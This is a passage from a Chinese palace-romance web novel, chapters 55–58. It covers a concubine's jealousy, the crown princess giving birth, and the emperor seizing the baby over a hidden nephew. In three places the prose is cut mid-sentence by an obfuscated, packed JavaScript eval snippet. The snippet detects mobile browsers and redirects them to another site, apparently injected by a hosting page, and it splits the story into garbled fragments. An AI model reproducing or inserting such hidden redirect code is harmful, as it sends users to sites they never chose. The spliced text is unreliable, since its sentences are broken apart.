而且抛开情爱不说,为了以后的前程地位考虑,贺兰敏也不能不搏一把。 这一日趁着凌唯州在前殿召见朝臣,还未离开,贺兰敏带着侍女杏蕊,捧着东宫的账册前来,行礼过后,奉上账册,微笑道:“这是这两个月嫔妾接手的账册,请殿下过目。” 凌唯州还未从方才的政务中抽离出来,闻言愣了一会儿才道:“不必了,既交给了你,你全权处理就是,这些本该是太子妃的职责,倒是辛苦你了。” 贺兰敏低头微笑。 “这也是殿下的信任,嫔妾理当效劳。” 凌唯州点头,见贺兰敏仍没有走的意思,便问:“还有事?” 55. 第 55 章 这座偏殿是凌唯州处理公务的地方,规制并不大,左右两面紫檀木屏风,中间是书案,放着文房四宝,公文奏折,摞得整整齐齐。 一旁的御炉香烟袅袅,燃的却是提神的清柠香。 经天纬地,日无暇晷,济世安民。 自己嫁的,应是从古至今最出色的一位太子了吧。 贺兰敏有一瞬的失神,忽听凌唯州发问,忙回神说道:“殿下,过几日便是八月节了,嫔妾和玉芝妹妹闲来说起,自来了东宫,还未曾拜见太子妃,心里甚是不安,是以想问问太子妃八月节可回来,嫔妾和玉芝妹妹也也早做洒扫膳食之备。” 凌唯州有些意外,看了贺兰敏一眼,说道:“这倒不必费心了,太子妃近日身上不爽利,连宫里的团圆宴也是不去的。你们二人也是第一次参与宫宴,有什么不懂的,便问司则,也不过是走个过场罢了。” “是,多谢殿下提醒。”贺兰敏见凌唯州又低头翻看奏折,不敢再打扰,低头退出。 边走边回想方才的情形,觉得凌唯州不冷不热的,微微有些失望。 但转念一想,总归是头一回,也不该贪心。 只是心火一起,便如野草疯长,不可遏抑。 寂静深夜里,辗转反侧,游思妄想。 一时猜测凌唯州与萧沅莹之间到底如何。 想到上次赴宜城公主宴时,那些名门闺秀言谈之间对萧沅莹颇多非议。 难道真如她们所说,太子与太子妃不睦? 不然为何太子妃不肯回东宫,连家宴也不去呢。 但太子为何又找来自己和宋玉芝当摆设? 贺兰敏翻了个身,望着洒了一地的月光,耳边传来守夜宫女微微的鼾声,更觉心浮气躁。 又想自己虽是低品级官宦之女,但也是玉肌花貌,聪明能干。 怎么就不能肖想当朝太子,谋划一下前程呢。 路要一步一步走,饭要一口一口吃,今日全算开了个头,总要有见面的机会才能想其他。 贺兰敏想到这儿,一颗鼓躁的心静下来些许,闭上眼睛,胡乱睡了两个时辰。 第二日一早起来,梳洗打扮,处理完为数不多的几件庶务,便来寻宋玉芝。 宋玉芝却起得晚了。 她自进了东宫,一无太子太子妃需要伺候,二无杂事烦扰,比在闺阁中还要逍遥自在,倒变得懒散起来。 此时坐在铜镜前,由着侍女梳头,仍是有些呆呆的,忽听贺兰敏说要去飞山宫拜见太子妃,才略清醒了些,惊讶道:“为何要去飞山宫,是太子殿下吩咐的么?” 贺兰敏笑道:“咱两个也嫁过来两月有余了,太子虽未明示,心里也指定是不满意的,咱们怎么说也是读过书,知礼仪的官家闺秀,不能让别人指摘我们缺礼数。” 宋玉芝沉默,心想:本就是过来当个摆设,又生那么多事做什么,难道贺兰敏同自己不一样?但也没见太子对她有何不同,只不过让她代管东宫庶务而已。 “我想不如先禀明太子,或是先派个女官去飞山宫,得了允许再……” “你怎么不明白呢!“贺兰敏打断了宋玉芝,耐心劝道:“于情于理我们都该去拜见太子妃的,何况八月节将至,太子妃又病了,我们诚心诚意的去,若只是小病,便当探望,若是严重一点,便留下来侍疾,才是本份。” 宋玉芝听了虽不以为然,却不会反驳,贺兰敏又不停地搬出一堆道理,只觉烦恼,索性道:“就听姐姐的吧,何时去?” 八月的秋天,金风送暑,垂露欲滴。 贺兰敏与宋玉芝同乘马车,前往飞山宫。 官道平整,马车安稳,贺兰敏坐得更是端庄,只一颗心忽上忽下,左摇右晃,差点要蹦出来。 宋玉芝却什么也没想,她许久未出门,忍不住侧头看向车窗外,只觉满眼葱翠,心中旷然。 正自得之时,忽见前面有侍卫站立,不由脱口而出道:“贺兰姐姐你看,有府兵,是谁来了?” 贺兰敏一惊,扭头望去,果见路边每隔一丈便有侍卫把守。 一时有人拦下车驾,却是东宫护卫左副率周驰。 贺兰敏忙撩开车帘,笑道:“周将军,是我们。” 周驰见是东宫的两位良娣,忙行礼道:“见过良娣娘娘,太子和太子妃在前面亭子里,两位良娣请下车而行。” 原来凌唯州看今日天气睛好,不欲使萧沅莹总闷在宫里,便拉着她出来走走,忽见道边一带缓坡,石阶盘旋,通向一座凉亭,可登高望远,便携了萧沅莹的手一步步上去。 贺兰敏和宋玉芝下了马车,刚走了几步,忽听有琴声传来。 两人对视一眼,又行一段,转过一颗古树,便见树木掩映的凉亭之内,太子凌唯州一身云水蓝袍,端坐于石桌之后,面容清俊,略略低着头,眼睛半闭半合,神情专注,勾挑抹拨之间,悠扬的曲调流淌而出,不急不缓,让人只觉清越之气扑面而来,仿若在这山林间辟出了一道清泉,涓涓而流,沁人心脾。 贺兰敏看得入神,听得也痴了。 一曲弹完,只见凌唯州侧头而笑,才注意到坐在亭子栏杆旁的萧沅莹。 描金花草缘边白罗衫,菱格百迭裙,懒懒地靠着,也回以温柔一笑。 没一会儿凌唯州命人收了琴,在萧沅莹身旁坐了,将她揽在怀里,两人耳鬓厮磨,喁喁私语,柔柔细吻。 贺兰敏万没想到会是这副场景,不自觉眼睛有些红,说不清是羡慕,还是妒忌,亦或是失落。 转头望向宋玉芝,却见她竟已泪流满面,神色凄切。 宋玉芝察觉到贺兰敏惊异的目光,也不说话,转身便往回走。 贺兰敏忙追上问道:“玉芝妹妹,你……” 宋玉芝却已擦干了眼泪,笑道:“让贺兰姐姐笑话了,我只是想起了一位故人。我看此时不便打扰,咱们还是回吧!” 宋玉芝大方地说自己有故人,只是表明自己对太子无意。 贺兰敏却再也无法平静了。 她总是忘不了那画面。 只要闭上眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273698|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,凌唯州和萧沅莹便在眼前晃,怎么赶也赶不走。 他们之间竟这样情深,似是根本容不下别人,哪里是传闻中的样子。 可自己怎么办,真要在这深宫孤寂一辈子么。 过了几日,恰东宫司彩有数套衣服饰物要送到飞山宫,来请贺兰敏过目。 贺兰敏心中一动,当即揽了过来,谎称自己正好要去,捎带过去便可。 及至上了马车,却又与侍女杏蕊换了女官服饰,进了飞山宫,交割完差使后,偷偷在飞山宫逗留,以期能远远地看一眼凌唯州。 一次成功之后,又有下一次,只两三个月的功夫,便借故去了飞山宫五、六次之多。 还真有两次让她又看到了凌唯州和萧沅莹。 一次是在飞山宫的小花园里,贺兰敏躲在假山后面,看凌唯州教萧沅莹打一套拳法,叫什么“舒拳”的,只听他一边教一边讲解道:“我问过太医了,胎稳之后要适当的活动,不然生产时极易难产,还有,不要吃太多,少食多餐……” 凌唯州还未说完,便被那萧沅莹打断了。 “你都说了八遍了,莫要再哆嗦了。” …… 还有一次,是贺兰敏刚到飞山宫门口,见凌唯州的车驾过来,忙退得远远的。 而后便见凌唯州下了马车,回身将萧沅莹抱下来,说说笑笑,旁若无人地进了院子。 至此,贺兰敏不得不承认,凌唯州和萧沅莹之间,就是两情相悦,如胶似漆。 她不甘心,着了魔似的,还要再去,杏蕊却不敢了,跪在地上,讲明利害,苦苦哀求,极力劝说。 贺兰敏也怕次数多了被人发觉,不情愿地放弃了,却无法走出心魔,行为渐渐地都带出些古怪来。 有时写着写着字,无缘由地一阵乱画乱撕。 或是好好地做着女红,心里烦上来,又拿剪子一通乱剪。 其实这便是妒忌的威力了。 妒忌这事,隐秘而又无法宣泄,只有憎恨悄无声息地蔓延。 进入九月,天气渐凉。 萧沅莹小腹渐隆,呕吐不适之感倒是消失了,只是胃口渐开,却不敢吃得太过,每顿皆有定量。 这日天色不错,萧沅莹坐在院中,看着绿芜朱草几个丫头打打闹闹地摘桂花,说晚上做桂花糕吃,忽有小内侍来报说,太子殿下派人送了两只海东青来。 萧沅莹一愣,犹以为是自己听错了,正要再问时,却听一阵爽朗的笑声传来,一个身穿雪青色衣袍的高大男子快步走近,高声道:“萧公主,我来了。” “伊宗云?伊世子!” 萧沅莹万没想到伊宗云会来,还当是自己眼花了,眨了眨眼睛道:“你何时来的京城?” 伊宗云还是那副老样子,大大咧咧的,只是换了汉装,倒显得文气了些。 “我昨日才到的,方才见了你男人,略谈了几句公务,我就说想来看看你,没想到他答应的十分痛快,我便来了。” 萧沅莹笑道:“你这是当上使臣了?” 56. 第 56 章 “我哪做的了那玩意。”伊宗云听萧沅莹说自己是使臣,哈哈大笑。“我们铁勒和大凉结成了兄弟之国,开通互市,我这次来就是为了求学,学写字,文章,手艺......” 伊宗云掰着手指说了几样,又不耐烦地一挥手道:“反正就是那些诗词文章吧!” 萧沅莹抚额而笑。 “这一看便是你父亲逼你来的。” “也不全是吧,我还是挺想来的。”伊宗云神情闪过一丝不自在,又笑道:“对了,方才出了个好笑的事,你猜是什么?” “好笑的事?说来听听。” “就方才,我没想到太子能这么痛快的答应我来,也没问清楚,就急急忙忙地从官署出来,直奔了东宫。那些狗眼看人低的奴才也不说你没在,让我在花厅等了一个多时辰,才来了个什么姓贺的良娣。” “人家是姓贺兰,不是姓贺。”萧沅莹纠正道。 “我管她姓什么。”伊宗云仍是气冲冲地,“一副眼睛长在头顶的样子,无礼至极,问我要干什么,说东宫是她在照管,有什么事跟她说即可,就差明说赶我走了。” “呃,这说的也不差吧。”萧沅莹道:“她确是代管着东宫的事务。” “那也只是代管,不是正经主子,何至于摆那么大的谱,小瞧我们铁勒不成,我就说,我是来拜见太子妃的,你一个良娣在这儿显什么威风,你是个什么东西,东宫难道没有镜子给你照照,在我铁勒王子面前也敢张狂,势力小人,可笑!” “你......你可真是。”萧沅莹又是笑又是气,“你不是昨日才到京城,怎么市井骂人的话学这样快?” “骂人的话还用学,那还不是张口就来,我也是气极了。”伊宗云道:“她要是个男人,我早一拳上去了。” 萧沅莹心想,你骂得这样不留情面,那贺兰良娣真要气死了。 “别气了,你大人有大量。”萧沅莹笑道:“多谢你还记着来看我,在京城有什么难事烦事,便来找我,我虽没有多大本事,至少也能帮你出出主意。” “嗨,我一个大男人,能有什么难事。”伊宗云挠挠头,“只是来看看你,太子对你不错便好。” 两人又随意聊几句,伊宗云便走了。 夜里凌唯州回来,萧沅莹便问道:“白日里内侍说你送了两只海东青来,怎么不见呢?” 凌唯州白天政务繁多,有点疲惫,回来沐浴更衣后,便歪在了床上,听萧沅莹仍惦记着海东青,不由笑道:“伊宗云是送来了两只海东青,养在鹰房了,让鹰奴驯好了,明年打猎的时候带上。” “哦。”萧沅莹摸摸肚子,叹道:“明年怕是不行了。” “那怎么不行,我算过了,分娩的日子大概在四月,你养上三个多月,正好赶上秋狝。” 凌唯州将萧沅莹拉过来,躺在自己身边,抚摸着她的小腹道:“今日感觉如何,有什么想吃的没?” “没什么。”萧沅莹摇头,“有时会轻轻地抽动一下,也不是疼,齐嬷嬷说是胎动,他还这么小,竟然也会动。” “那指定是个淘气的。”凌唯州凑过来亲了亲萧沅莹的嘴角,叹道:“白日里再忙再累,想到你们娘俩儿,我才有劲儿。” 萧沅莹也是心头甜蜜,回吻了凌唯州,又忍不住低笑。 “笑什么?” 萧沅莹道:“齐嬷嬷这几日总旁敲侧击,话里有话的,我猜她的意思是我霸着你了,不该委屈你。” “那不用理她。”凌唯州钻进萧沅莹的怀里,继续深吻,含糊道:“我对别人没兴趣。” 其实不止齐嬷嬷觉得凌唯州委屈,凌霜也这样想。 这日凌霜又来飞山宫看望萧沅莹,带了一堆自己缝制的小肚兜,小衣衫等物,拿给萧沅莹看了,又道:“到明年你分娩时,天气也热了,倒不用做棉衣棉被了,我便做了些肚兜,护着小肚子,不着凉。” 萧沅莹将那些肚兜、小衣衫一个一个拿起来看,见大多是红色,有的绣了老虎和五毒,有的绣了长命百岁锁,针脚细致,精美灵巧,不禁赞道:“姐姐好手艺,绣得这样好看,只是怎的这样小,还没太子的手掌大。” “你以为刚生下的小儿能有多大。”凌霜笑道:“我那两个娃娃刚生下来的时候,也就小猫一样。” “是吗,这倒奇了。”萧沅莹将那肚兜翻来覆去地看,十分喜欢。 凌霜瞅了瞅萧沅莹的肚子,悄声道:“有五个多月了吧,太子还没跟你分房睡么?” 萧沅莹一怔,脱口而出道:“为何要分房睡,这个时候他不更应该守着我么?” “啧,你们两个还真是腻歪。”凌霜嫌弃似的摇摇头,又凑近了道:“当初你姐夫再敬重我,也还是让成亲前收的通房伺候了几天的,你可别让州儿胡闹啊,孩子要紧。” 萧沅莹迟疑了一会儿才明白凌霜说的“胡闹”是什么意思,脸一红道:“你想哪去了,我的姐姐,他老实得很,什么也没做。” 却没想到凌霜听了这话更为震惊。 “你真是,怎么能这样委屈他呢,东宫的那两个良娣还真就当花瓶了?” 这话让萧沅莹有些委屈,亦有些难堪,只是男人三妻四妾确是常事,又何况高高在上的太子,也不好说什么,只有等凌唯州回来把一腔怒火撒在他身上。 “到底是你亲姐姐呢,这便怕你受委屈了,可惜我没个亲姐姐疼,有个表姐,只知习武,有个亲哥,也走了。”萧沅莹说着眼圈便红了。 凌唯州听太医说女人有了身孕爱七想八想,情绪不稳,还想着萧沅莹倒没有折腾他,不料刚庆幸完这便来了,于是打起精神来劝慰。 “没有亲哥亲姐怕什么,有我还不行吗,以后我既当哥,又当姐,我百倍疼你,千倍护你,总行了吧?” 萧沅莹气得一笑,又不想对他有好脸色,忙用手绢捂了眼睛道:“谁信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299672|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你啊,说这些甜言蜜语有什么用,除了血缘上的亲情,没有谁能一辈子不变。” “你这是不信我了?”凌唯州有些恼了,他为了能与萧沅莹长相厮守,费尽心思,殚精竭虑,最怕不被信任,一气之下扯了萧沅莹手中的帕子,却见她眼中含泪,美如海棠经雨一般,霎时又软了心肠,上前搂了她道:“怎么越哄越哭了呢,真是怪哉!” 萧沅莹破涕为笑道:“这就打退堂鼓了,好没诚意。” 凌唯州见萧沅莹笑了,也松了口气,吻了她的眼泪道:“哪里,哄你一天一夜也是甘愿的,只怕你哭坏了身子。” 转眼间进了十月,京城飘了一场小雪,触地即化,寒风侵骨。 萧沅莹仍是趁着凌唯州大朝会时去明昌胡同看小侄儿阿宁。 小娃娃快七个月了,眼睛灵动了许多,小胳膊小腿白得藕节似的,已经会坐了,正在学爬。 萧沅莹拿个拨浪鼓逗她,他便四肢乱蹬着想爬过来,不想使了半天的劲,反后退了些许,逗得萧沅莹和刘氏哈哈大笑。 刘氏不知萧沅莹的身份,还当她只是个侍妾,身份不高却怀了身孕,可想而知在东宫十分受宠,更竭力巴结起来,照顾阿宁了十分尽心。 萧沅莹每回看完小阿宁,都会转道去舅舅家探望。 舅舅身体康健,仕途顺利,表弟雁之读书勤奋,表姐和许瑛虽不常回来,想来也是不错的。一切都在往好的方向进展,萧沅莹心里的那根弦终于略松了松。 之后天越来越冷,萧沅莹大多是窝在房中,只有凌唯州回来了,才会一起出门走走,也是怕日后不好生产。 只是身子渐沉,越来越懒怠,正旦的家宴和元霄节的宣德楼赏灯,萧沅莹都缺席了,也引得众人猜测纷纷。 好在日子过得飞快,出了正月,天气回暖,接着二月二龙抬头,三月三女儿节,光阴飞逝而过。 萧沅莹分娩的日子也快到了。 四月二十七日这天,萧沅莹再次去了明昌胡同李经夫妇处,想着分娩后得有几个月不得出来,便多留了会儿,听阿宁含糊不清地叫着姑姑,心里十分高兴满足。 绿芜催了几次,萧沅莹方起身出门,上马车时,忽觉街口处似有人探头张望,心中一紧,忙命绿芜前去察看,却空无一人,只得罢了,心想也许是自己看花了眼。 但回到飞山宫,萧沅莹却越想越是不安,又不敢对凌唯州说,草草地吃过晚膳便睡下了。 夜里又做起了噩梦,梦到了萧承和李婕妤,问她阿宁在哪。 萧沅莹说,就在明昌胡同啊,我带你们去,不想左转右拐,怎么也找不到路,一着急便醒了。 肚子隐隐疼痛起来,不由轻轻哼了一声。 凌唯州立时醒了,急忙问道:“怎么了,哪里不舒服?” 萧沅莹道:“肚子疼,腿有点抽筋。” 凌唯州忙帮她捏腿,又唤来守夜的侍女,命传太医来。 57. 第 57 章 萧沅莹发作的十分迅速,不到一柱香的功夫,已阵痛了两次,疼得她满头大汗。 幸好太医、产婆等人都是随时待命的,生产用的床褥、布单等物品,还有产室也都备好了。 只一声令下,飞山宫霎时灯火通明,诸人都忙了起来,各司其职,有条不紊。 凌唯州将萧沅莹抱到产室,替她擦汗道:“别怕,听齐嬷嬷和产婆的,我就在门口守着。” 萧沅莹点头,疼得不住吸气,仍抽出空来催他道:“你快出去吧,你在这里,我都不知道该怎么生了。” 凌唯州只得转身出去,虽是担心,也不由暗笑,这话说的,好像多会生似的。 萧沅莹平躺在床上,闭眼舒了口气,心里盼着这一切早点结束,但阵痛间隔时间越来越短,疼得也越来越厉害,却始终生不下来。 那产婆和齐嬷嬷一面帮她擦汗,一面教她呼吸之法,如何用力。 “太子妃,用力,快了,快了,看到孩子的头了!” “不行啊,还得加把劲!” 又一次阵痛过后,萧沅莹又累又困,眼皮渐沉,真想睡一觉,又被齐嬷嬷摇醒。 “太子妃莫睡啦,孩子若是被卡住了,可不是闹着玩的。” 萧沅莹听了一个激灵,心里更是焦灼,正不知该怎么办时,忽听门外有叮叮咚咚,泠泠淙淙的琴声传来,一听便是凌唯州在抚琴。 平缓悠扬,清亮空灵。 萧沅莹的躁意退下些许,觉得幽凉沉静不少,不一会儿阵痛又来,那琴曲也到了激昂之处,铿铿铮铮,急若骤雨。 萧沅莹耳中听着,牙关紧咬,用力一冲...... 一声清亮的啼哭划破夜空。 终于生了! 齐嬷嬷怀抱小儿,高兴地合不拢嘴。 “殿下,是小皇孙,小皇孙出生了!” 凌唯州推门进来,接过裹了襁褓的哭声震天的小婴儿,行至床边坐了,轻声道:“你看......” 萧沅莹歪头看了看,皱眉道:“他怎得老哭,吵得头疼。” 凌唯州想了想,将婴儿放在了萧沅莹的臂弯里,不一会儿,那小儿竟哭声渐弱,慢慢安静下来。 两人对视一眼,都觉惊奇。 齐嬷嬷和产婆都笑道:“这是母子连心呢!” “真是神了,小皇孙能听出娘亲的声音呢!” 萧沅莹心里触动,又望了一眼怀中皱巴巴的小人儿,想笑,眼泪却先滑了下来。 凌唯州替她擦了,笑道:“都做母亲了,莫要哭了。” 萧沅莹问道:“叫什么名字?” “我想了几个,尚犹豫不定,先起个小名吧,就叫‘岩’,岩石的岩。” “我知道了。”萧沅莹低头一想,笑道:“你是希望他能坚忍如石吧。” “对。”凌唯州道:“生在皇家,钟鸣鼎食,有无上权利,亦有无数诱惑,希望他能像岩石一样坚硬沉稳吧。” 萧沅莹失笑:“他才这么点儿,你便开始讲大道理,好生无趣。” “这你放心,拔苗助长的事我绝不会做,该有的童年少不了他的。” 第二日,萧沅莹诞下皇孙的消息飞遍了京城各个角落,一石激起千层浪,皇室宗亲,勋贵世族议论之余也都开始着手准备贺礼,但等了一天也不见宫中皇帝凌文山有任何动静,既无封号也无赏赐,不禁都犯起了嘀咕,有些无所适从起来。 萧沅莹倒一时没想起这些,好容易卸下重担,又兼体虚乏力,支撑不住,昏昏沉沉地睡了两日。 到了洗三这日,宜城公主凌霜和宗室里的几个年长的王妃、长公主来了,也还热热闹闹的,将艾草、金银花熬的温水倒在铜盆里,往里扔了喜果、彩钱、葱蒜,把小阿岩抱了出来,先洗额,再洗脸,一面洗一面念叨着:洗洗头,做王侯;再洗肩,当大官;不愁吃,不愁穿,观音菩萨保平安。 末了穿上春绸小衫,戴了长命锁。 虽才三天,小阿岩的脸蛋已润滑了许多,不再干巴巴的,红里透着白,软软嫩嫩。 被众人围着,也不哭闹,小眼珠转来转去。 一众女眷看着,赞叹不已,夸了又夸。 “瞧瞧小皇孙这眉眼,真像太子殿下呢。” “是哟,龙睛凤目,帝王之相。” 凌霜在旁听着,面带微笑,心里也是止不住地暗笑。 这才三天的娃娃,哪里看得出龙睛凤目了。 一时乳母抱了小阿岩去吃奶,众女眷也移步别殿喝茶,凌霜便抽了个空来看萧沅莹。 却是一进门便见她正皱着眉头喝鲫鱼汤,不由笑道:“恢复得怎样了,看这气色尚可,虽说不用给孩子喂奶,这汤该喝还是得喝,亏了那么多气血,得赶紧补回来。” 萧沅莹笑道:“我知道,只是太清淡了,有点喝不下。” “你可忍忍吧,安生出了月子,还不是想吃什么就吃什么。” 凌霜闲话了两句,临走时又吞吞吐吐道:“父皇那边…….你别放心上,他就是个老顽固,我不信他能忍住不来看自己的孙子,这第一个皇孙该有的封位和赏赐,一样也少不了。” 萧沅莹不语,半晌笑道:“你知道我的,哪会在意这些,只是这几日心里总不踏实,没来由地心慌,好像会有什么不好的事…….” “唉呀,呸呸,别说这些。”凌霜忙打断了萧沅莹,“你这都是胡思乱想,刚生了孩子是这样的,我那时候也差不多,这太太平平的日子,能有什么。太子又把你放在心尖上,快别多想了,睡会儿吧,我再去前面看看。” 凌霜的话没有让萧沅莹心安些许,反而更添了空落冷寂。 但生子确是损耗气血,又兼思虑过甚,是以虽每日鸡鸭鱼肉的补,也没见有何成效,反倒瘦了些。 凌唯州也看出她有心事,只当她是产后心绪不佳,于是变着法儿的哄她,尽力逗她展颜。 偏生这时西北边境和邻国起了摩擦,又有州县遭了蝗灾,政务繁多,不得空闲。 堪堪忙了十几日后,凌唯州本想着政事少了些,可以安心筹备满月宴了,萧沅莹也快熬出月子,可以好好陪她几日,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367187|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不料青州安县有贪官克扣赈灾粮款,激起了民变,流民一夜之间攻占了数个村县,杀人放火,波及全州。 新朝初立,根基方稳便发生民变,处理不妥必留后患,凌唯州只能亲自前往。 临行前叮嘱萧沅莹安心休息,莫要多想,自己短则三日,长则五日,必赶回来为她和儿子庆贺满月。 萧沅莹心里虽担忧,面上却不敢表露,微笑目送凌唯州离开,随后几日情绪更糟,也只闷在心里罢了。 这日一早起来,萧沅莹看外面天色阴沉,浊云蔽日,没来由地又压抑了几分。 算了算今日已是五月二十了,凌唯州已走了五天,不知今日能否赶回,若是下雨,路上难免泥泞难行。 萧沅莹发了会儿呆,自觉体力恢复不少,该出去走走,便唤绿芜进来梳洗,不料接连唤了几次,外面丝毫动静也无,不由纳闷,渐渐觉出不对来,忙自己穿衣下床,出去看个究竟。 刚行至门口,便吓了一跳,却是院中前前后后跪了十几个人,齐嬷嬷,绿芜,朱草……甚至厨房洒扫诸人,俱都直挺挺跪着,鸦雀无声。 而正门口站着一人,明黄衬服,绛罗履袍,金玉犀牛皮革带,身形魁梧,头发花白。 是皇帝凌文山。 身旁站着他的心腹廖以章。 萧沅莹与凌唯州成亲数载,见到凌文山的次数却屈指可数,此时骤然见面,竟有一瞬的呆滞。 待反应过来,心里第一个冒出的念头竟然是——糟了。 凌文山此次确是来者不善。 他本就是武将出身,发起怒来,周身之气令人胆怯。 如今做了皇帝,更是威势逼人,不恶而严。 凌文山看到萧沅莹出来,两道凌厉的目光立时投过来。 那眼神里似是有讥讽,又似是轻视,还带着些许憎恶。 凌唯州不在,凌文山便是一条白绫勒死自己,也无人敢拦,急也无用。 想到这些,萧沅莹镇静了些许,坦然回视凌文山,想知道他所为何来。 凌文山往前走了几步,对萧沅莹的镇静有些意外,面上的轻视之意也退去了些,叹了口气道:“宝菱公主,朕还是称你宝菱公主吧,你若不是有这层身份,做朕的儿媳,朕会非常满意,只可惜……” “只可惜这是你心头的一根刺。”萧沅莹面无表情道:“您今日来所为何事,不妨直说。” “呵呵呵。”凌文山低沉一笑,听在众人耳中,无端生出一股寒意。 “我也不想为难于你,让州儿难做,只你千不该,万不该瞒着州儿在外藏个孩子,这让朕不得不管。” 天色只是阴沉而已,萧沅莹却觉一道雷电当空而落,浑身发冷,牙齿都打起颤来。 不能慌,不能。 “您说什么,什么孩子?”萧沅莹尽量站得稳若泰山。 凌文山冷笑一声,冲廖以章使个眼色。 廖以章回身吩咐几句,几个侍卫押着一男一女走了进来,那女子怀里抱着一个一岁多的幼儿。 正是李经夫妇和小阿宁。 58. 第 58 章 李经被侍卫推了一把,跌跪在地上,脸色灰败,低头不语。 刘氏抱着孩子,面色惊慌,布满泪痕,也不由自主跪了。 小阿宁虽什么也不懂,但两只小胳膊紧紧地搂着刘氏的脖子,一看便是吓坏了。 萧沅莹又气又急又慌,耳中嗡嗡直响。 仍强自镇定着说道:“这是去池州时带回来的一位故人的孩子,他父母皆亡,托我照看,这些许小事,也值得皇上大动干戈?” “好,好,好,朕不与你做口舌之争。”凌文山冷笑一声,平静吩咐道:“去把皇孙连同乳母一并带出来。” “是!”几名侍卫得了命令,转身大步扑向内殿。 “你做什么?”萧沅莹大惊,眼泪刷地一下涌出来,“他还没有满月,不能抱出门!” “我凌家的孩子,没那么娇气。” 凌文山好似那寺院里凶煞冷酷的魔神像,面无表情,淡漠冰冷,令在场诸人心生惧意,连廖以章都屏住了呼吸,大气也不敢出。 “朕一再退让,你却不识抬举,偷偷将这孩子带回京,打得什么主意当朕不知?朕倒要看看,亲子与侄子,你选哪个!” 此时乳母已抱着小阿岩被两个侍卫强逼着走出来,面上也是惶恐与不知所措。 “带他们上马车,回宫,几时处置了你侄儿,几时再来接你儿子!” 凌文山一甩袖子,转身便走。 廖以章及众侍卫带着乳母与小阿岩跟在后面,转眼间走了个干净,院中霎时冷寂下来。 萧沅莹急追到宫门,却因体虚力乏,急痛攻心,晕倒在地。 齐嬷嬷绿芜一众人踉跄着起身来扶,也都乱了阵脚。 有的说快传太医,有的说还是赶紧派人告诉太子殿下。 萧沅莹却很快清醒过来,她心里装着事,甫一睁眼,便扶着绿芜的手臂站起来,慢慢行至李经夫妇处,蹲下身子,伸手道:“来,阿宁,到姑姑这儿来。” 小阿宁不动,有些被吓傻了。 刘氏却忙不迭地掰开阿宁的小胳膊,将孩子放入萧沅莹怀中。 她真是被吓死了,手哆嗦个不停。 一大早刚起来,一帮凶神恶煞的侍卫闯进来,不由分说抓了人便走,可怜自己家里那两个孩子,不知被吓成了什么样了。 这太子,这皇家,自己可再也不敢巴结了。 “您看,皇上也走了。”刘氏嗫嚅道:“我们夫妇二人,能不能……” 萧沅莹仍蹲在地上,用尽力气安抚着小阿宁,平静道:“你们走吧,这里的事不会牵扯到你们。” 李经夫妇一听,心下一松,如蒙大赦,千恩万谢地走了。 到家之后,一刻也不敢耽搁,收拾了萧沅莹之前给的金银细软,匆匆逃往外乡,投奔亲友去了。 这也是后话了。 而萧沅莹这里,五内俱焚,心如刀绞,勉强撑着将小阿宁哄睡了,便只有呆呆地坐着。 天降横祸。 她实在不知该怎么办,只能等凌唯州回来,让他想办法去把孩子抱回来。 她已经慌了神,只有这一个念头,却忘了凌唯州也是会因被隐瞒而沮丧的。 凌唯州是后半夜到的。 他听了宫人的禀报,快马加鞭地往回赶,进得殿门时,竟头一回有些腿软。 他回来的路上已经把事情想明白了。 在池州那次,萧沅莹瞒着自己去太守府寻人,便是去料理她侄儿的事了,倒没想到她竟做得这样迅速干净。 自己也是过于信任她,以为真是见什么故人,没有细察。 谁能想到那体弱多病的萧承会留下个孩子呢。 可这事终究被父皇察觉了。 他可是正愁没有把柄呢,这下难办了。 凌唯州刚转过屏风,便见萧沅莹顶着通红的双眼,一阵风似的扑过来。 “你回来了,你父皇抱走了阿岩,你快进宫吧,去把他抱回来!” 凌唯州从没见过萧沅莹憔悴成这个样子,想到她还未出月子,心里更是急怒,不由分说将她打横抱起,放回床上,盖上被子,强硬道:“莫再闹了,你该明白,阿岩是他亲孙子,去了宫里,不会受委屈,倒是你,别再折腾了,本就身上不好,再弄出病来,岂不是自找苦吃。” 萧沅莹一怔,凌唯州跟她说话,从未这样生硬过。 她正是脆弱的时候,不禁胡思乱想。 看来他也在责怪自己,人都有厌烦的一天。 这样一想,丝丝缕缕的疼痛爬满了五脏六腑,说出的话也有些口不择言。 “我确是自找苦吃了,当初你父皇要我们和离,就该听他的,也省了这许多麻烦。” “你!” 这话把凌唯州气得险些呛出血来。 好,真好。 从来都是自己一厢情愿,苦心经营,她是丁点儿也不在乎,遇到难事便想着逃。 